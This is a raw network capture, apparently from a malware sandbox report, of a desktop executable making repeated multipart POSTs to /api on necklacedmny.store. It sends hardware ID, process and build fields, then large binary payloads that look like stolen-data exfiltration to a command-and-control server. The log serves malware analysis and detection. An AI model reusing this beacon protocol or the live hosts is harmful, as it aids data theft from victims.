2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 67 36 73 66 30 45 6f 64 63 66 65 77 41 79 55 42 6d 55 46 34 52 61 65 4f 79 66 56 43 54 58 56 6c 76 54 65 56 42 4a 55 36 46 7a 61 6e 67 78 62 78 59 78 42 77 33 6f 41 54 57 44 6a 45 64 59 78 78 68 34 4b 35 2b 54 64 78 48 48 33 6f 46 37 31 39 76 48 4e 66 57 73 75 33 41 74 45 33 4a 54 6e 6a 6f 44 4d 52 4f 62 31 5a 62 46 57 76 6f 74 6e 70 45 6e 56 56 51 59 6b 58 74 55 79 5a 57 6d 6f 54 75 72 63 79 73 43 70 38 63 54 75 77 49 2f 30 31 2f 48 55 35 59 65 36 79 2f 66 77 4c 45 47 46 42 78 53 4f 42 58 4c 30 6d 52 7a 36 48 73 79 4c 52 4b 78 46 78 38 36 77 7a 49 53 57 52 58 57 42 39 77 35 4c 78 68 51 70 42 63 45 53 30 46 37 30 74 76 48 4e 66 30 6f 2b 62 48 74 45 66 53 48 47 61 75 47 6f 35 4a 5a 52 30 4a 56 6d 72 6e 73 33 56 4a 6e 31 74 66 61 45 2f 6e 58 43 56 43 6b 63 Data Ascii: g6sf0EodcfewAyUBmUF4RaeOyfVCTXVlvTeVBJU6FzangxbxYxBw3oATWDjEdYxxh4K5+TdxHH3oF719vHNfWsu3AtE3JTnjoDMROb1ZbFWvotnpEnVVQYkXtUyZWmoTurcysCp8cTuwI/01/HU5Ye6y/fwLEGFBxSOBXL0mRz6HsyLRKxFx86wzISWRXWB9w5LxhQpBcES0F70tvHNf0o+bHtEfSHGauGo5JZR0JVmrns3VJn1tfaE/nXCVCkc
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 76 30 61 46 58 58 54 77 42 49 34 41 4b 56 73 52 54 6a 4b 69 2b 48 64 54 33 41 41 42 4d 52 36 39 41 48 67 55 78 64 76 75 39 49 75 69 43 70 38 4f 4e 36 41 52 6a 68 59 70 47 6c 49 45 63 4f 71 37 5a 55 48 62 5a 6d 39 44 54 75 52 51 49 30 57 51 68 4f 36 74 78 50 51 53 2f 68 78 36 38 68 47 42 58 33 39 51 51 52 45 75 35 4b 6c 2b 54 74 77 57 45 53 39 42 34 31 38 71 51 34 65 4c 73 76 33 41 75 46 79 4c 57 47 75 67 54 59 35 66 59 6c 4a 44 47 47 57 6a 71 57 56 50 6a 46 74 55 5a 41 6e 67 51 69 4a 49 31 34 72 67 2b 4d 43 34 54 4d 70 4a 4e 76 45 56 7a 56 68 75 45 56 6b 48 62 2b 44 34 54 41 7a 63 51 42 45 37 42 64 31 51 49 55 71 51 30 72 47 67 36 37 39 47 78 46 42 34 35 30 4f 41 44 6d 38 64 43 55 55 73 72 4c 78 69 41 73 51 49 41 7a 67 51 75 77 52 2f 46 6f 69 4b 75 61 33 Data Ascii: v0aFXXTwBI4AKVsRTjKi+HdT3AABMR69AHgUxdvu9IuiCp8ON6ARjhYpGlIEcOq7ZUHbZm9DTuRQI0WQhO6txPQS/hx68hGBX39QQREu5Kl+TtwWES9B418qQ4eLsv3AuFyLWGugTY5fYlJDGGWjqWVPjFtUZAngQiJI14rg+MC4TMpJNvEVzVhuEVkHb+D4TAzcQBE7Bd1QIUqQ0rGg679GxFB450OADm8dCUUsrLxiAsQIAzgQuwR/FoiKua3
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 77 38 33 6f 42 47 4f 46 69 6b 61 58 78 74 6a 37 37 5a 77 55 49 35 65 55 6e 56 47 72 32 30 52 59 5a 72 4a 70 65 50 4d 69 6e 54 6d 56 6d 6e 74 44 4d 6c 77 56 32 70 41 45 58 4b 75 6e 6e 42 55 6e 78 67 66 49 31 32 6f 43 32 39 6c 6e 64 53 74 34 73 7a 30 42 49 64 59 4f 62 68 44 36 30 4e 6b 57 46 38 52 49 4d 32 79 59 30 2b 54 58 78 45 74 42 65 51 54 64 77 53 57 7a 72 44 67 78 4c 4d 47 77 45 5a 2b 6f 45 32 4f 51 43 6b 46 45 52 64 6f 2f 4c 56 38 52 64 42 65 58 32 30 46 39 78 30 32 42 49 47 45 2b 4c 36 46 39 46 69 48 42 44 6d 6e 44 63 4e 50 61 6c 4e 53 42 48 44 71 75 32 56 42 32 32 5a 76 52 6b 6a 6c 56 69 46 44 71 66 71 42 35 39 75 35 52 63 41 65 57 65 63 56 7a 58 42 58 61 6b 41 52 63 71 36 65 63 46 53 66 47 42 38 6a 58 61 67 4c 62 32 57 64 31 4b 33 69 7a 50 5a 71 Data Ascii: w83oBGOFikaXxtj77ZwUI5eUnVGr20RYZrJpePMinTmVmntDMlwV2pAEXKunnBUnxgfI12oC29lndSt4sz0BIdYObhD60NkWF8RIM2yY0+TXxEtBeQTdwSWzrDgxLMGwEZ+oE2OQCkFERdo/LV8RdBeX20F9x02BIGE+L6F9FiHBDmnDcNPalNSBHDqu2VB22ZvRkjlViFDqfqB59u5RcAeWecVzXBXakARcq6ecFSfGB8jXagLb2Wd1K3izPZq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:03 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-28 20:40:03 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4A04926367BC2A67DE9F5FD67180EEC1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 20:40:04 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=52p4tt5s94s7fpdal8fs9e7603; expires=Fri, 21 Feb 2025 14:26:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UkSu16Hl3DuKFnkles7yoNgFp9WHeNIwyUAxfBIZAQMmLudM9v%2Bm7CSOAsrFP3IbfcEVkPMHm8R0Iq2EuTHWBCfEvXZiHNsLUnIqTL9PBanvGLkisEqsnPQXXcZ8YS5sa5ev8H8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd20ccda44d6-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19854&sent=7&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13782&delivery_rate=145798&cwnd=32&unsent_bytes=0&cid=8c14b5174e02e8ee&ts=554&x=0"
2024-10-28 20:40:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 20:40:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-28 20:40:05 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4A04926367BC2A67DE9F5FD67180EEC1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 20:40:05 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=doafhr8f9t8cmnb028kgld5vek; expires=Fri, 21 Feb 2025 14:26:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rI6UFYK3ebbKfA0Zj1HelP61pix8ynI1iKkznsM4YlXtzMuglGToUclK9xzRdqJGTTCr4FlaDQ%2FgJ%2FYd87o2vJVI8dGfKN%2FhOlFSGOeAYFyQvVCcZR8PBZbQvKl1aZaPkXBttWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd293ba80b82-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=1831752&cwnd=238&unsent_bytes=0&cid=bbad7beaea60f212&ts=590&x=0"
2024-10-28 20:40:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 20:40:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-28 20:40:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4A04926367BC2A67DE9F5FD67180EEC1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 20:40:06 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-28 20:40:07 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o3nrj1cib619nqgtlhae9u8iff; expires=Fri, 21 Feb 2025 14:26:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xiWR2B6jMWkzKk7J7BwZKf3oUlORlSgt%2FPWkcbOFkNzyqNgFGyO9qFukIdWBsXwdyWYxyHXtKAJ94kKjUo4UrY%2FaN6MqkuReM6jfpKcjOB7HtUjmWwfFafZg6TuAjtbvtwfSUhM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd32fc67479c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1216&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=2343042&cwnd=251&unsent_bytes=0&cid=b93eb0b688d9da68&ts=763&x=0"
2024-10-28 20:40:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 20:40:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:08 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: necklacedmny.store
2024-10-28 20:40:08 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4A04926367BC2A67DE9F5FD67180EEC1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 20:40:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9h37ajdpp1hnqscidkmq1b02ek; expires=Fri, 21 Feb 2025 14:26:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qMDEyVzuBU7GWSPHdigVoT5Cvh3U5XvBY9b%2Fyp1GAU%2BnNkXs11uwD1ycliFLGedzqvsWeBPiLatDjoy%2FpizOCbafMgPBqEeZN5CjZFk7G35sGJBo5vNkIv7Tf0UYawOMlkQSva4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd3dbc04e867-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2174&delivery_rate=2401326&cwnd=251&unsent_bytes=0&cid=c96919e663f4a149&ts=553&x=0"
2024-10-28 20:40:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 20:40:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:10 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570439 Host: necklacedmny.store
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 30 34 39 32 36 33 36 37 42 43 32 41 36 37 44 45 39 46 35 46 44 36 37 31 38 30 45 45 43 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"4A04926367BC2A67DE9F5FD67180EEC1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 80 3a f9 35 56 fd b9 c7 50 45 b5 f7 a4 a5 7c d0 e7 af be 18 a0 3c 57 a7 6d 6b e8 2a c4 9a ff fa 4e 51 4f 23 5c 37 10 42 81 cb 97 c8 c3 ec 4b 64 69 60 d4 02 51 6f 41 94 c7 1f e1 50 a0 91 0c cd bf 3b 3e 8e 9a cd c2 5c ac 86 98 53 cf 40 3b 4c 11 e6 fd c5 9c df d1 60 12 cb f0 46 31 4b da a6 fe 9f 67 50 00 5e 42 a0 69 53 80 79 0d 30 a5 30 3f 42 84 41 c1 20 d0 80 5a 94 67 b5 6c 48 08 09 dc f4 d3 55 62 ba 2c 0d 36 a1 30 b3 bc a1 1d 58 41 49 a0 1a 1d f9 05 64 05 6c f4 bd bd 0c e8 0d 81 0a 2a 57 80 af 5b 29 bf 2e 1c 8d 25 5d 19 ad d3 c1 e5 5f ab 4b d5 2a 3a dd 87 1f 88 94 41 0b 7d 54 a4 af ff e2 d1 f7 04 b6 8e 26 9b 8c 11 3a 3d 4b a1 6f 82 79 be 4e fc 20 60 3c d3 d9 f3 b8 c6 f1 a3 2c ee b7 3e 46 98 6e b7 ef f0 7c 00 53 f8 f4 70 7d b8 c2 ca a3 22 f6 21 61 14 84 53 Data Ascii: :5VPE\|<WmkNQO#\7BKdi`QoAP;>\S@;L`F1KgP^BiSy00?BA ZglHUb,60XAIdlW[).%]_K*:A}T&:=KoyN `<,>Fn\|Sp}"!aS
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: a7 3f e2 33 9b ad 8a 32 f1 fb 96 b9 61 33 ea 6e 75 55 1e ad d4 16 bc 9c ff 7c ea 64 2d 1e 22 df 36 b1 db 14 b9 8d 96 fc c3 2c 3f 47 fd cf 95 8e 49 05 47 04 44 61 42 b6 37 1c a9 06 50 97 c8 15 7e ea 56 38 7e d1 6e c9 74 42 91 df 44 8f 5f 63 8f 45 f4 54 bb fb d6 03 11 5a c6 0e 01 33 47 e5 ad 6f 56 bf 3f d3 66 d8 b2 3d 4f c4 ad 15 89 9c b9 7b e6 2b 77 31 4d ca 51 de 98 d4 89 81 68 3b 75 27 58 cf f6 1d 62 7e 91 d4 ec 64 7d 4c 6c 59 87 ad 07 6a 54 a1 e0 02 e1 c9 17 a6 f6 3b 56 43 e5 1b 61 03 b6 3f 57 71 ee 0c 71 f5 37 5d cd 8a a2 fc bd 38 7c b1 e4 42 fd 22 12 d3 b1 33 d2 07 73 11 e8 4e 98 8e 30 44 a7 90 52 0a 4c d5 78 fb 40 bd d1 e6 ab d7 75 69 8b 4d 51 c2 6a 78 d7 0f b6 e9 0c d5 55 32 39 ad fa 4b 35 49 69 dc b0 42 72 7e a5 84 27 a5 2b a1 21 89 0e b2 c7 98 d1 Data Ascii: ?32a3nuU\|d-"6,?GIGDaB7P~V8~ntBD_cETZ3GoV?f=O{+w1MQh;u'Xb~d}LlYjT;VCa?Wqq7]8\|B"3sN0DRLx@uiMQjxU29K5IiBr~'+!
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: aa 40 2d 1a 7e 57 47 b3 56 ca 2c e7 9d 53 a3 59 7c 26 22 c2 e1 b0 1b 74 4f 17 e4 79 70 d5 21 38 91 8f 7c 89 61 03 51 94 cf b3 72 bc c9 fc ab 5f f9 cc d4 40 7b 00 36 5c 7b 11 f1 46 21 8e cb 75 7e 61 0a 3f b7 98 10 e3 c7 01 6c e4 5f 3f 1b 19 2a 02 9e 28 8e 1a 28 16 ac 3d 45 29 b3 e1 81 d4 b7 7b 94 03 63 c4 fa 62 9b c8 c9 45 da 77 89 10 66 44 76 49 b5 3f 89 08 6c cc b0 88 e8 d8 c2 9d ff 48 1c df fa 8c 91 24 c2 c4 04 92 8a 45 d4 9c 11 b9 1c b8 7a 93 b0 21 80 9a c2 8e f3 93 b8 b5 88 e0 fd 18 ea 3e 7e 68 ef 5c 69 bb e1 12 7e 06 e1 79 97 09 c9 f3 a6 51 47 ce 3e b9 68 7b cc ac 1d 6a 96 d2 4a 7a e8 35 cf a4 b4 35 45 fa 35 29 64 d7 94 ce 9a 4f 70 54 41 bb 87 a1 a2 96 9f 38 9d bf 4d c8 72 86 67 57 7b d1 7b a7 46 98 77 c5 73 1d b7 b0 1f 14 2f 0d 1d f7 e3 67 d8 14 54 Data Ascii: @-~WGV,SY\|&"tOyp!8\|aQr_@{6\{F!u~a?l_?*((=E){cbEwfDvI?lH$Ez!>~h\i~yQG>h{jJz55E5)dOpTA8MrgW{{Fws/gT
2024-10-28 20:40:10 UTC	15331	OUT	Data Raw: 41 41 d2 6e e2 dd 85 5b bd 81 e6 47 15 f8 86 da 13 73 12 2b 25 56 63 e1 f4 80 c5 f3 20 45 95 15 df fa 83 d7 dd 94 68 ea aa b0 cd f7 35 c8 f4 8d fa 50 07 d7 99 ed 06 66 10 b2 a9 8e c2 39 87 40 c3 e1 28 46 c9 62 eb e0 c6 56 c0 2d ca 45 65 df 69 c1 3c 5f 67 be a3 2a e5 68 b7 81 db 33 c3 fe 11 8c da e2 e3 ff 50 43 b5 ef 62 a3 13 fe ff 12 6e 04 28 74 82 68 f7 ef 01 37 32 e3 b1 28 c8 a5 f8 1c 00 14 1f 09 8a 00 b7 51 73 f3 f2 5b b1 23 14 c5 8c f7 5d 2b 46 64 8b 70 cd e6 3a da 92 e6 66 dd eb 16 ac 7b 76 cd f4 06 3f 44 9e 59 3c 0d ac 3e 2a ca 47 de 74 42 52 b5 14 52 cc b3 a3 45 db 2a 50 ad 83 29 b3 fc fd fc 50 75 25 8a 40 ae e8 3d 9f 74 e5 0a 57 15 14 b7 25 d1 5a 1b 6f 6d 55 34 ae 5b 86 b8 65 92 49 86 33 36 13 e8 0f 3b 52 fc 38 6a 5a 67 1e 13 e9 b9 2b 42 3a 90 f4 Data Ascii: AAn[Gs+%Vc Eh5Pf9@(FbV-Eei<_gh3PCbn(th72(Qs[#]+Fdp:f{v?DY<>GtBRRE*P)Pu%@=tW%ZomU4[eI36;R8jZg+B:
